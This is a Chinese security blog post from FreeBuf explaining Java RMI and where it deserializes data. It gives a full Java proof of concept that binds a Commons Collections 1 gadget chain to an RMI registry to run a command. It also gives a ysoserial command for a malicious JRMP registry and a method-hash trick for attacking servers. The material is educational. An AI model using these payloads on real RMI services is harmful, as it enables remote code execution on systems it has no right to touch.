freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

RMI攻击
2022-12-12 16:23:14
所属地 四川省

RMI原理

这方面的东西就不多说了,看RMI流程图:

1670833288_6396e48859e652cc2ec5f.png!small?1670833288225

其中存根stub是客户端的代理,骨架skeleton是服务器代理

  1. 创建远程对象。ServiceImpl service = new ServiceImpl();

  2. 注册远程对象。Naming.bind("rmi:127.0.0.1:1099/service",service);(service为ServiceImpl定义的远程对象)

  3. 客户端访问服务器并查找远程对象。包括两个步骤:

    ①用interface定义要查找的远程对象,在第四步作为引用:ServiceInterface service = (ServiceInterface);

    ②查找远程对象。Naming.lookup("rmi://127.0.0.1:1099/service")

  4. Registry返回服务器对象存根。也就是把远程对象service作为自己的service(引用),称为stub

  5. 调用远程方法。比如String rep = service.cxk("ctrl");

  6. 客户端存根和服务器骨架通信

  7. 骨架代理调用service.cxk("ctrl");,实际上是在Server端调用的

  8. 骨架把结果返回给存根

  9. 存根把结果返回给客户端

其中存根stub在客户端,skeleton是服务端本身的远程对象(service本尊)

知道这些就可以了,深入分析见(我的上一篇 RMI源码分析)https://www.freebuf.com/articles/web/352122.html,更深一步直接看https://su18.org/post/rmi-attack/#%E4%B8%89-%E6%80%BB%E7%BB%93

RMI攻击

观察一下RMI流程中有哪些地方进行了反序列化

  1. Server进行Naming.bind时,registry对service会进行反序列化

  2. client进行lookup时,registry对实现了ServiceInterface的service进行反序列化,client接收返回的service也要进行反序列化

  3. client调用远程方法时,server对参数ctrl反序列化,client对server的结果也要反序列化

因此可以根据这几个反序列化入口攻击Server、Client、Registry。

攻击Registry端

入口点为Naming.bind,绑定恶意对象时触发。

以CC1为例,使用AnnotationInvocationHandler类,但是bind()只能接收Remote类的子类。可以用Remote.class.cast强制转换为Remote类:

A.class.cast(B);将B类强制转化为A类,不过会抛出异常

1670833300_6396e49419137d6168279.png!small?1670833299979

需要用到代理把AnnotationInvocationHandler代理为remote

Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class}, getpayload()));

POC如下:

package Rmi;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.util.HashMap;
import java.util.Map;

public class RmiCC1client {
public static void main(String[] args) throws Exception {
LocateRegistry.createRegistry(1099);
Remote proxyEvalObject = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class}, getpayload()));
Naming.rebind("rmi://192.168.0.103:1099/RemoteObject", proxyEvalObject);
}

public static InvocationHandler getpayload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "godown");
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class AnnotationInvocationHandlerClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = AnnotationInvocationHandlerClass.getDeclaredConstructor(Class.class, Map.class);
cons.setAccessible(true);
InvocationHandler instance = (InvocationHandler) cons.newInstance(java.lang.annotation.Retention.class, outerMap);
return instance;
}
}

嫌麻烦懒得切文件,把注册表和客户端融合了,加了一句LocateRegistry.createRegistry(1099);

1670833319_6396e4a7cf2851ed0da0f.png!small?1670833319845


由于RMI采用了DGC分布式垃圾回收机制,还能用JRMP攻击注册中心。此处省略


Registry攻击server和client

registry作为中间代理,理应“大杀四方”。在客户端和服务端需要接收返回结果时,registry都能进行攻击。包括bind()、lookup()、rebind()、unbind()、list()这些Naming库里的方法。但是由于registry端多半不可控,这里简述

用ysoerial生成恶意注册中心:java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "calc"

当server或者client调用注册中心的上面五种方法时,就会返回恶意对象

客户端攻击服务端

如果远程方法所需要的参数,和client传的参数都是Object,那当然可以直接攻击。而非Object也能攻击

在分析源码时,说到Server端时根据UnicastServerRef#dispatch来处理客户端请求,在hashToMethod_Map中寻找Method的hash

1670591117_6393328d970c5866b274f.png!small?1670591117860

如果找到了就进行反射调用

1670591121_6393329183e99f42f8ac4.png!small?1670591122084

Hash算法是SHA1

利用:在debug时,在RemoteObjectInvocationHandler的invokeRemoteMethod处下断点,将Method改为服务器需要的Method。或者在从字节码或者流量把method改掉

参考:https://www.freebuf.com/articles/web/324692.html

# RMI漏洞 # JAVA安全 # RMI安全
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录